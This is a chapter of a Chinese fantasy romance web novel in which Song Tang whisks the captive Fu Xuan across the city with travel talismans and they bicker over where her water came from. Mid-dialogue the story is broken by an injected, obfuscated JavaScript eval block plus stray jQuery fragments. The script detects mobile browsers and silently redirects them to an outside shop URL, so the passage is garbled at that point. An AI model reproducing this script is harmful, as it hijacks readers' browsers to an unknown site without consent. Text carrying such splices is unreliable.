士可杀不可辱。
傅玄愤而跳下屋顶,头也不回地走进黑漆漆的街道。
宋棠一怔:“?”
这到底是生气了还是想逃跑?
想逃跑的话,时机好像不太对,方才她去找孙家夫妇的时候他若是偷偷地逃,说不定还能逃出两条街道。
如今在她就在眼前,他怎么可能逃离到她视线之外?所以傅玄应该还是在生气,甚至气得有些丧失理智……
那就难办了。
宋棠发愁地抓了抓头发,忙不迭闪身跟到傅玄身后。
但她着实没什么哄人的经验,直跟着他走了好几步才憋出句:“对不起我错了,我向你道歉,傅世子你大人有大量,别气了行不行?”
傅玄背影微顿:“那你错在何处?”
啊?不是道歉就行吗?怎么还得分析自己错在哪儿?宋棠脑袋懵懵。
而察觉身后的人又跟哑了一样,傅玄好不容易压抑下来的怒气刹那间又翻涌,双腿顿时迈得更快,连衣摆都生出残影。
宋棠:“……”
完蛋,好像一时半会儿哄不好的样子。
可她还得去帮孙铃儿,真没时间慢慢等傅玄消气。
唉,看来只能用强硬手段了……宋棠为难地叹口气,而后便一个闪身闪到傅玄身前挡住他的去路,沉声道:“我回去后一定好好反思自己错在哪儿了,但你现在先闭上眼睛好吗?我们得去另一个地方。”
说话的同时,她从百宝袋里掏出疾行符,动作飞快地往自己和傅玄身上各贴了两张。
傅玄闻言寒眸一抬,正要出言拒绝,却猝不及防对上宋棠那双对万事万物都漠不关心的黑瞳,他心中一惊,身上横行肆虐的怒气忽然闷了下来。
他方才竟对一个绑架他的女贼生出同情,要为她忧心之事出谋划策,甚至还渴望一个贼人能同样重视他……
呵!可笑!真是可笑至极。
傅玄顿时死死咬紧牙,半句话都不想再跟贼人说。
这厢宋棠见他不说话也不动,却以为他是顾全大局答应了,心中一喜,一把将人扯到身边来,就道:“抓紧我。”
傅玄却一动不动。
宋棠默默盯他一眼,以为他余气未消,索性主动伸手抓紧他的腰,无奈叮嘱:“那你只管闭上眼睛。”
傅玄偏眸望向别处,仍不语。
宋棠:“……行吧,你愿意睁眼睛就睁着。”
这家伙非要犯犟,那她也没办法,一会儿别后悔就行了。
宋棠默默腹诽,手中掐诀,瞬间便带着傅玄从城南客栈外的街道来到鄯州最繁华的酒楼。
此地灯火通明,歌舞升平,丝竹清音不绝于耳,楼中之人个个流连忘返,但宋棠片息都未停,当即催动两人身上的第二张疾行符,如风一般来到距钱府不足二里地的某条小巷。
“唔!呕——”
傅玄双脚终于落到实处,人却扶着墙壁转头就吐了起来。
他后悔了,真的后悔了,跟贼人划清界限是一回事,但完全没必要为此而伤害自己。
灯火、街道、房屋、人影,数不清的画面皆在刹那间闯入脑海,直逼得他双眼发黑,头晕目眩,胃里也翻江倒海……
偏偏他这几日也没吃什么东西,此刻胃里空无一物,吐了半晌也吐不出什么来,只有满腹酸水和无边无际的难受。
宋棠递给他一只水囊,诚恳道:“漱漱口吧,下次一定要闭眼。”
想当初她刚入仙门,灵力掌握的尚不成熟,也曾被这疾行符搞得吐天吐地。
傅玄下意识接过,深吸口气,忍着胃酸猛灌自己一口水又扶着墙吐出,如此反复数次,他的胃才好受了一些,犯晕的双眼也终于能看清一丝事物。
理智渐渐回笼。
傅玄垂着湿漉漉的眼睫盯了一瞬水囊,眉宇忽然紧蹙,偏眸问宋棠:“这是什么水?你从何处偷……何处寻来的?”
“嗯?”宋棠敏锐捕捉到他话里的不信任:“偷?你为什么会这么想?我看起来像是会偷别人家水的人么?”
傅玄缓慢地上上下下打量她一眼,语气坚定:“是。”
“?”宋棠双眸倏然瞪大,匪夷所思:“哪里是?”
傅玄这会儿胃里又翻涌了,他嫌弃地瞥一眼手中水囊,忍着不适猛灌自己一口水吐掉,而后才抚着胸口道:“我不就是被
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17631891|206396||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
你偷掳来的?人可以偷,水又有何不可?”
“呃……”宋棠底气不足,垂眸语塞。
傅玄的目光又落在她腰间五颜六色的百宝袋上,接着道:“况且你浑身上下只有这么一个小布袋,水不是刚刚偷来的,难不成还是从这小袋子里拿出来的?”
宋棠忙不迭抬眸,重重颔首:“是啊。”
“……”这回换傅玄语塞了。
仔细想想,她既然能跟变戏法似地凭空变出吃食,那这小布袋中能存放硕大一只水囊似乎也不算离奇。
宋棠见他沉思,不由解下百宝袋显摆起来:“这是五师姐送我的第一个生辰礼,名为乾坤百宝袋,内可容纳万物,别说是一只水囊,便是放千百个活物进去都不成问题。”
傅玄闻言面色微震:“活物?”
“嗯~”宋棠忍不住骄傲:“五师姐的法器毋庸置疑。”
但她话音刚落便见傅玄的脸色顿时变了又变,一会儿青一会儿白的,似乎是被骇住了,又连忙找补:“不过我从没放过,这水你放心喝,干净得很。”
傅玄听见这话却不敢放松:“当真?”
宋棠毫不犹豫地点头:“当然真,五师姐送我的礼物,我才不舍得放乱七八糟的东西进去呢。”
……这理由倒是更令人信服。
傅玄长吁一口气,终是受不了胃里的翻腾,举起水囊往嘴巴里灌了一小口水,咬牙咽下。
与此同时,街道北边缓缓驶来一辆马车。
宋棠定睛望去,便见驾着马车的人竟是孙大夫的徒弟青蒿。
此人手中也有一张传讯符,可他既然寻到孙铃儿,为何不曾烧符向她传讯……
那他是想等什么时候用?等孙铃儿身陷囹圄命在旦夕的时候再用吗?
宋棠蹙眉收回视线,敛神看向傅玄:“这次可能要耽误些功夫,你是在这儿等我,还是我先送你回崖洞休息?”
“?”傅玄人已老实,连忙摆手:“等你,我等你。”
他此刻连站都站不稳,可受不了再次移动,更何况若是回崖洞,那他岂不是还要一个人面对无边无际惊悚骇人的黑夜?
不,他绝不回。